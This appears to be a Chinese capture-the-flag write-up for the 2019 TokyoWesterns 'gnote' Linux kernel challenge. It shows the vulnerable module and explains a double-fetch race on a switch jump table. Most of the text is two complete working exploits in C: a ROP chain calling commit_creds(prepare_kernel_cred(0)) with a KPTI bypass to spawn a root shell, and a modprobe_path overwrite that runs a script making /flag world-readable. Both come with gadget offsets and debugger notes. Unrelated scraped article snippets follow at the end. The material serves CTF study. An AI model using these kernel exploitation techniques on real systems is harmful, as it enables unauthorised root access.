0019-TIPS-2019-tokyowesterns-gnote : switch(jump) Doubule Fetch

news/2025/2/21 9:08:14/

漏洞源码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <asm/uaccess.h>
#include <linux/uaccess.h>
#define MAX_NOTE 8static DEFINE_MUTEX(lock);struct note {unsigned long size;char *contents;
};unsigned long cnt;
unsigned long selected;
struct note notes[MAX_NOTE];ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{unsigned int index;mutex_lock(&lock);/** 1. add note* 2. edit note* 3. delete note* 4. copy note* 5. select note* No implementation :(*/switch(*(unsigned int *)buf){case 1:if(cnt >= MAX_NOTE){break;}notes[cnt].size = *((unsigned int *)buf+1);if(notes[cnt].size > 0x10000){break;}notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);cnt++;break;case 2:printk("Edit Not implemented\n");break;case 3:printk("Delete Not implemented\n");break;case 4:printk("Copy Not implemented\n");break;case 5:index = *((unsigned int *)buf+1);if(cnt > index){selected = index;}break;}mutex_unlock(&lock);return count;
}ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{mutex_lock(&lock);if(selected == -1){mutex_unlock(&lock);return 0;}if(count > notes[selected].size){count = notes[selected].size;}copy_to_user(buf, notes[selected].contents, count);selected = -1;mutex_unlock(&lock);return count;
}struct file_operations gnote_proc = {.write    = gnote_write,.read    = gnote_read,
};static int __init gnote_init(void)
{cnt=0;selected=-1;proc_create_data("gnote", 0666, NULL, &gnote_proc, NULL);printk("/proc/gnote created\n");return 0;
}static void __exit
gnote_exit(void)
{remove_proc_entry("gnote", NULL);printk("unloading gnote\n");
}module_init(gnote_init);
module_exit(gnote_exit);

漏洞分析

没有开启smap保护

首先看启动脚本和/proc/cpuinfo,没有看起smap保护

#!/bin/sh
cd /home/gnote
stty intr ^]
exec \timeout 120 \qemu-system-x86_64 \-m 64M \-kernel bzImage \-initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" \-nographic \-net user -net nic \-device e1000 -smp cores=2,threads=2 \-cpu kvm64,+smep \-monitor /dev/null 2>/dev/null
/ $ cat /proc/cpuinfo  | grep "smep"
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
/ $ cat /proc/cpuinfo  | grep "smap"
/ $

漏洞分析

先看gnote_write的源码

ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{[...]switch(*(unsigned int *)buf){[...]notes[cnt].size = *((unsigned int *)buf+1);[...]index = *((unsigned int *)buf+1);
}

在调用gnote_write时,buf指针指向的结构体类似于

struct write_struct{unsigned int sele_func;unsigned int num;
}

在这里插入图片描述

再看gnote_write的switch跳转表(首先需要知道syscall时,参数1~参数6是保存在 rdi,rsi,rdx,r10,r8,r9),rsi保存的是buf的地址

.text:0000000000000000                 public gnote_write
.text:0000000000000000 gnote_write     proc near               ; DATA XREF: .data:00000000000002D8↓o
.text:0000000000000000                 push    rbp
.text:0000000000000001                 mov     rdi, offset lock
.text:0000000000000008                 mov     rbp, rsp
.text:000000000000000B                 push    r12
.text:000000000000000D                 push    rbx
.text:000000000000000E                 mov     rbx, rsi				<<<<<<<<<<<<<<<<<<<<<<<<<<<
.text:0000000000000011                 mov     r12, rdx
.text:0000000000000014                 call    mutex_lock
.text:0000000000000019                 cmp     dword ptr [rbx], 5	<<<<<<<<<<<<<<<<<<<<<<<<<<<
.text:000000000000001C                 ja      short loc_6E
.text:000000000000001E                 mov     eax, [rbx]			<<<<<<<<<<<<<<<<<<<<<<<<<<< 获取switch跳转索引
.text:0000000000000020                 mov     rax, ds:off_220[rax*8]<<<<<<<<<<<<<<<<<<<<<<<<<<< 跳转表中case代码块地址
.text:0000000000000028                 jmp     __x86_indirect_thunk_rax.rodata:0000000000000220 off_220         dq offset loc_6E        ; DATA XREF: gnote_write+20↑r
.rodata:0000000000000228                 dq offset loc_2D
.rodata:0000000000000230                 dq offset sub_A5
.rodata:0000000000000238                 dq offset sub_97
.rodata:0000000000000240                 dq offset sub_B3
.rodata:0000000000000248                 dq offset sub_82
.rodata:0000000000000248 _rodata         ends

在这里插入图片描述

简化为

[0] .text:000000000000000E                 mov     rbx, rsi				  <<<<<<<<<<<<
[1] .text:0000000000000019                 cmp     dword ptr [rbx], 5	  <<<<<<<<<<<< .text:000000000000001C                 ja      short loc_6E
[2] .text:000000000000001E                 mov     eax, [rbx]			  <<<<<<<<<<<< 获取switch跳转索引
[3] .text:0000000000000020                 mov     rax, ds:off_220[rax*8] <<<<<<<<<<<< 跳转表中case代码块地址
[4] .text:0000000000000028                 jmp     __x86_indirect_thunk_rax

rsi为用户空间的地址buf,将用户空间buf的地址赋值给rbx
[1] 从用户空间获取内容sele_func,与5进行比较,检查sele_func的大小
[2] 再次从用户空间获取sele_func
[3] 从第二次获取的sele_func,获取跳转表中的地址

问题在于[1]、[2]都是从用户空间获取sele_func,这里有个问题,在[1]验证通过,在[2]执行之前,修改用户空间的sele_func,就有可能出现这样的问题
由于没有smap保护,再通过竞争sele_func,使得sele_func足够大,使得跳转表溢出到用户空间
在这里插入图片描述

漏洞利用

exp_kpti

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;struct data {unsigned int menu;unsigned int arg;
};int istriggered =0;size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[+] Status has been saved!");
}void race(void *s)
{struct data *d=s;while(!istriggered){d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000puts("[*] race ...");   // 0xffffffffa0000000}
}void shell()
{istriggered =1;system("/bin/sh");
}void add_note(int fd, unsigned int size)
{struct data d;d.menu=1;d.arg=size;write(fd, (char *)&d, sizeof(struct data));
}void select_note(int fd, unsigned int idx)
{struct data d;d.menu=5;d.arg = idx;write(fd, (char *)&d, sizeof(struct data));
}int main()
{char buf[0x8000];struct data race_arg;pthread_t pthread;save_status();int fd;// Step 1 : leak kernel addressfd=open("proc/gnote", O_RDWR);if (fd<0){puts("[-] Open driver error!");exit(-1);}int fds[50];for (int i=0;i<50; i++)fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);for (int i=0;i<50; i++)close(fds[i]);add_note(fd,0x2e0);   // tty_struct结构大小0x2e0select_note(fd,0);read(fd, buf, 512);//for (int i=0; i< 20; i++)//    printf("%p\n", *(size_t *)(buf+i*8));unsigned long leak, kernel_base;leak= *(size_t *)(buf+3*8);kernel_base = leak - 0xA35360;printf("[+] Leak_addr= %p     kernel_base= %p\n", leak , kernel_base);unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;unsigned long commit_creds        = kernel_base + 0x69df0;unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);unsigned long fake_cr4            = 0x407f0;unsigned long xchg_eax_esp_ret    = kernel_base + 0x1992a;  //xchg eax, esp; ret;unsigned long pop_rdi_ret         = kernel_base + 0x1c20d;  //pop rdi; ret;unsigned long pop_rsi_ret         = kernel_base + 0x37799;  //pop rsi; ret; unsigned long pop_rdx_ret         = kernel_base + 0xdd812;  //pop rdx; ret; unsigned long swapgs_p_ret        = kernel_base + 0x3efc4;  //swapgs; pop rbp; ret; unsigned long iretq_p_ret         = kernel_base + 0x1dd06;  //iretq; pop rbp; ret; unsigned long mov_rdi_rax_p_ret   = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;unsigned long kpti_ret            = kernel_base + 0x600a4a;// Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);unsigned long *spray_addr= (unsigned long *)pivot_addr;for (int i=0; i<0x1000000/8; i++)spray_addr[i]=xchg_eax_esp_ret;// Step 3 : 布置ROP。由于已经xchg eax,esp  而rax指向xchg地址,所以rop链地址是xchg地址低8位。unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);int i=0;// commit_creds(prepare_kernel_cred(0))rop_base[i++] = pop_rdi_ret;rop_base[i++] = 0;rop_base[i++] = prepare_kernel_cred;rop_base[i++] = pop_rsi_ret;          //    ja大于则跳转,-1是最大的数rop_base[i++] = -1;rop_base[i++] = mov_rdi_rax_p_ret;rop_base[i++] = 0;rop_base[i++] = commit_creds;// bypass kptirop_base[i++] = kpti_ret;rop_base[i++] = 0;rop_base[i++] = 0;rop_base[i++] = &shell;rop_base[i++] = user_cs;rop_base[i++] = user_rflags;rop_base[i++] = user_sp;rop_base[i++] = user_ss;// Step 4 : 开始竞争race_arg.arg = 0x10001;pthread_create(&pthread,NULL, race, &race_arg);for (int j=0; j< 0x10000000000; j++){race_arg.menu = 1;write(fd, (void*)&race_arg, sizeof(struct data));}pthread_join(pthread, NULL);return 0;
}/*
1.kernel_base:
0x18:  0xffffffffba435360    -     ffffffffb9a00000   =   0xA35360
ffffffffb9a69fe0 T prepare_kernel_cred2.ROP gadget:
0xffffffff8101992a: xchg eax, esp; ret; 
0xffffffff8101c20d: pop rdi; ret;
0xffffffff81037799: pop rsi; ret; 
0xffffffff810dd812: pop rdx; ret; 
0xffffffff8103efc4: swapgs; pop rbp; ret; 
0xffffffff8101dd06: iretq; pop rbp; ret; 
0xffffffff8121ca6a: cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret; 3.下断点
.text:0000000000000019                 cmp     dword ptr [rbx], 5
.text:000000000000001C                 ja      short loc_6E
.text:000000000000001E                 mov     eax, [rbx]
.text:0000000000000020                 mov     rax, ds:off_220[rax*8]
.text:0000000000000028                 jmp     __x86_indirect_thunk_raxcat /sys/module/gnote/sections/.text4.kpti_ret
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode/ # cat /proc/kallsyms| grep ffffffffbde00a
ffffffffbde00a00 t common_interrupt
ffffffffbde00a0f t ret_from_intr
ffffffffbde00a2c T retint_user
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode
ffffffffbde00abb T restore_regs_and_return_to_kernel
ffffffffbde00abb t retint_kernelgef➤  x /50i 0xffffffffbde00a340xffffffffbde00a34:  pop    r150xffffffffbde00a36:  pop    r140xffffffffbde00a38:  pop    r130xffffffffbde00a3a:  pop    r120xffffffffbde00a3c:  pop    rbp0xffffffffbde00a3d:  pop    rbx0xffffffffbde00a3e:  pop    r110xffffffffbde00a40:  pop    r100xffffffffbde00a42:  pop    r90xffffffffbde00a44:  pop    r80xffffffffbde00a46:  pop    rax0xffffffffbde00a47:  pop    rcx0xffffffffbde00a48:  pop    rdx0xffffffffbde00a49:  pop    rsi0xffffffffbde00a4a:  mov    rdi,rsp                 <<<<<<<<<<<<<<<<<<<<<<0xffffffffbde00a4d:  mov    rsp,QWORD PTR gs:0x50040xffffffffbde00a56:  push   QWORD PTR [rdi+0x30]0xffffffffbde00a59:  push   QWORD PTR [rdi+0x28]0xffffffffbde00a5c:  push   QWORD PTR [rdi+0x20]0xffffffffbde00a5f:  push   QWORD PTR [rdi+0x18]0xffffffffbde00a62:  push   QWORD PTR [rdi+0x10]0xffffffffbde00a65:  push   QWORD PTR [rdi]0xffffffffbde00a67:  push   rax0xffffffffbde00a68:  xchg   ax,ax0xffffffffbde00a6a:  mov    rdi,cr30xffffffffbde00a6d:  jmp    0xffffffffbde00aa30xffffffffbde00a6f:  mov    rax,rdi0xffffffffbde00a72:  and    rdi,0x7ff0xffffffffbde00a79:  bt     QWORD PTR gs:0x1d996,rdi0xffffffffbde00a83:  jae    0xffffffffbde00a940xffffffffbde00a85:  btr    QWORD PTR gs:0x1d996,rdi0xffffffffbde00a8f:  mov    rdi,rax0xffffffffbde00a92:  jmp    0xffffffffbde00a9c0xffffffffbde00a94:  mov    rdi,rax0xffffffffbde00a97:  bts    rdi,0x3f0xffffffffbde00a9c:  or     rdi,0x8000xffffffffbde00aa3:  or     rdi,0x10000xffffffffbde00aaa:  mov    cr3,rdi0xffffffffbde00aad:  pop    rax0xffffffffbde00aae:  pop    rdi0xffffffffbde00aaf:  swapgs 0xffffffffbde00ab2:  nop    DWORD PTR [rax]0xffffffffbde00ab5:  jmp    0xffffffffbde00ae00xffffffffbde00aba:  nop*/

exp_modpath

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;struct data {unsigned int menu;unsigned int arg;
};int istriggered =0;size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[+] Status has been saved!");
}
void race(void *s)
{struct data *d=s;while(!istriggered){d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000puts("[*] race ...");}
}
void something(){puts("[+] Congratulations! You get it!");system("/tmp/fake");system("cat /flag");exit(0);
}
void gen_test(){//system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag\n' > /tmp/chmod");system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");system("chmod +x /tmp/chmod.sh");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");system("chmod +x /tmp/fake");
}
void add_note(int fd, unsigned int size)
{struct data d;d.menu=1;d.arg=size;write(fd, (char *)&d, sizeof(struct data));
}
void select_note(int fd, unsigned int idx)
{struct data d;d.menu=5;d.arg = idx;write(fd, (char *)&d, sizeof(struct data));
}int main()
{char buf[0x8000];struct data race_arg;pthread_t pthread;save_status();int fd;// Step 1 : leak kernel addressfd=open("proc/gnote", O_RDWR);if (fd<0){puts("[-] Open driver error!");exit(-1);}int fds[50];for (int i=0;i<50; i++)fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);for (int i=0;i<50; i++)close(fds[i]);add_note(fd,0x2e0);   // tty_struct结构大小0x2e0select_note(fd,0);read(fd, buf, 512);//for (int i=0; i< 20; i++)//    printf("%p\n", *(size_t *)(buf+i*8));unsigned long leak, kernel_base;leak= *(size_t *)(buf+3*8);kernel_base = leak - 0xA35360;printf("[+] Leak_addr= %p     kernel_base= %p\n", leak , kernel_base);unsigned tty_base = (*(size_t *)(buf+7*8)) & 0xffffffffffffff00;unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;unsigned long commit_creds        = kernel_base + 0x69df0;unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);unsigned long fake_cr4            = 0x407f0;unsigned long xchg_eax_esp_ret    = kernel_base + 0x1992a;  //xchg eax, esp; ret;unsigned long pop_rdi_ret         = kernel_base + 0x1c20d;  //pop rdi; ret;unsigned long pop_rsi_ret         = kernel_base + 0x37799;  //pop rsi; ret; unsigned long pop_rdx_ret         = kernel_base + 0xdd812;  //pop rdx; ret; unsigned long swapgs_p_ret        = kernel_base + 0x3efc4;  //swapgs; pop rbp; ret; unsigned long iretq_p_ret         = kernel_base + 0x1dd06;  //iretq; pop rbp; ret; unsigned long mov_rdi_rax_p_ret   = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;unsigned long kpti_ret            = kernel_base + 0x600a4a;unsigned long modprobe_path       = kernel_base + 0xC2C540;unsigned long memcpy_addr         = kernel_base + 0x58a100;// Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);unsigned long *spray_addr= (unsigned long *)pivot_addr;for (int i=0; i<0x1000000/8; i++)spray_addr[i]=xchg_eax_esp_ret;// Step 3 : 布置ROP。由于已经xchg eax,esp  而rax指向xchg地址,所以rop链地址是xchg地址低8位。unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);memcpy(mmap_base+0x1000, "/tmp/chmod.sh\0\n", 15);int i=0;// commit_creds(prepare_kernel_cred(0))rop_base[i++] = pop_rdi_ret;rop_base[i++] = modprobe_path;rop_base[i++] = pop_rsi_ret;rop_base[i++] = mmap_base+0x1000;          //    ja大于则跳转,-1是最大的数rop_base[i++] = pop_rdx_ret;rop_base[i++] = 0x10;rop_base[i++] = memcpy_addr;// bypass kpti//rop_base[i++] = swapgs_p_ret;//rop_base[i++] = tty_base ;//rop_base[i++] = iretq_p_ret;rop_base[i++] = kpti_ret;rop_base[i++] = 0;rop_base[i++] = 0;rop_base[i++] = & something;rop_base[i++] = user_cs;rop_base[i++] = user_rflags;rop_base[i++] = user_sp;rop_base[i++] = user_ss;// Step 4 : 开始竞争gen_test();             // 生成/tmp/fake 和 /tmp/chmod 文件race_arg.arg = 0x10001;pthread_create(&pthread,NULL, race, &race_arg);for (int j=0; j< 0x10000000000; j++){race_arg.menu = 1;write(fd, (void*)&race_arg, sizeof(struct data));}pthread_join(pthread, NULL);getchar();return 0;
}/*
1.kernel_base:
0x18:  0xffffffffba435360    -     ffffffffb9a00000   =   0xA35360
ffffffffb9a69fe0 T prepare_kernel_cred2.ROP gadget:
0xffffffff8101992a: xchg eax, esp; ret; 
0xffffffff8101c20d: pop rdi; ret;
0xffffffff81037799: pop rsi; ret; 
0xffffffff810dd812: pop rdx; ret; 
0xffffffff8103efc4: swapgs; pop rbp; ret; 
0xffffffff8101dd06: iretq; pop rbp; ret; 
0xffffffff8121ca6a: cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret; ffffffffb758a100 W memcpymodprobe_path = 0xffffffffb7c2bf60  -  0xffffffffb7000000
gef➤  x /10i 0xffffffffb706a7b00xffffffffb706a7b0:  push   rbp0xffffffffb706a7b1:  mov    rdi,0xffffffffb7c2bf600xffffffffb706a7b8:  mov    rbp,rsp0xffffffffb706a7bb:  push   rbx0xffffffffb706a7bc:  movzx  ebx,BYTE PTR [rip+0xd1ff1d]        # 0xffffffffb7d8a6e00xffffffffb706a7c3:  call   0xffffffffb706a350*/

http://www.ppmy.cn/news/542911.html

相关文章

2006厦门企业100强名单

序号 企业名称1 戴尔&#xff08;中国&#xff09;有限公司2 建发股份有限公司 www.chinacnd.com3 厦门国贸集团股份有限公司 http://www.itg.com.cn/4 厦门金龙汽车集团股份有限公司 http://www.xmklm.com.cn…

摩托罗拉“摔跤” 国产手机反攻_通讯与电讯

摩托罗拉“摔跤” 国产手机反攻http://www.sina.com.cn 2007年07月28日 14:35 经济观察报 本报记者 李志军 深圳报道 最近两年多来受国外品牌压制的中国手机企业看到了复苏的希望&#xff0c;不过它们可能还需要至少两三年的艰苦等待和寻找机会。7月11日&#xff0c;摩托罗拉发…

疯狂的选择项

1 provinces new Array(北京市,上海市, " 天津市 " , " 重庆市 " ,河北省,山西省,辽宁省,吉林省,黑龙江省,江苏省,浙江省,安徽省,福建省,江西省,山东省,河南省,湖北省,湖南省,广东省,海南省,四川省,贵州省,云南省,陕西省,甘肃省,青海省,内蒙古自治区,广西…

谁是黑手机之父

谁是黑手机之父 文 《环球企业家》记者 黄河 荣秀丽没有压抑住自己的火爆脾气&#xff0c;拍着桌子冲对面四个联发科技(MediaTek Inc&#xff0c;以下简称联发科)的人大声指责起来。 “为什么不允许我们用展讯科技的产品&#xff0c;只能用你们联发科的&#xff1f;” “我们也…

概率论复习笔记(二)随机变量及其分布

概率论复习笔记&#xff08;二&#xff09;随机变量及其分布 基本概念随机变量及其分布函数分布函数分布函数的性质用分布函数表示概率: 离散型随机变量及其概率分布离散型随机变量分布律性质离散型随机变量 X X X的分布律与分布函数和事件概率的关系几个重要的离散型随机变量(…

ChatGPT是否具有记忆能力?

ChatGPT在某种程度上具有记忆能力&#xff0c;但它的记忆能力有限且不像人类的记忆那样全面和持久。以下是对ChatGPT的记忆能力的详细分析&#xff1a; 1. 上下文记忆&#xff1a;ChatGPT可以在对话过程中记住先前的对话历史&#xff0c;以便更好地理解和回应后续的问题。通过…

SDUT PTA Python实验一 Python基础(注释版)

目录 7-1 sdut-温度转换 7-2 sdut-oop-1 简单的复数运算 7-3 sdut-入门-转换字母 7-4 sdut-计算球体积 7-5 sdut-数据类型-1-求班级男女生比例 7-6 sdut-常用类-骄傲的代价 7-7 sdut-求奇数分之一序列的前N项近似和 7-8 sdut-求平方与倒数序列的近似和 7-9 sdut-入门-三…

Quartus之仿真错误#** Error (suppressible): (vsim-19) Failed to access library ‘ ‘ at “ “

出现上述错误时可检查是否下述错误&#xff1a; 使用ModelSim做仿真时&#xff0c;设置仿真文件需要注意文件名的设置不可以出现后缀.v 不然的话仿真时是加载不进去的。 另外还有仿真文件和语言设置&#xff0c;选择正确的才能确保仿真顺利进行&#xff0c;根据自己使用语言和…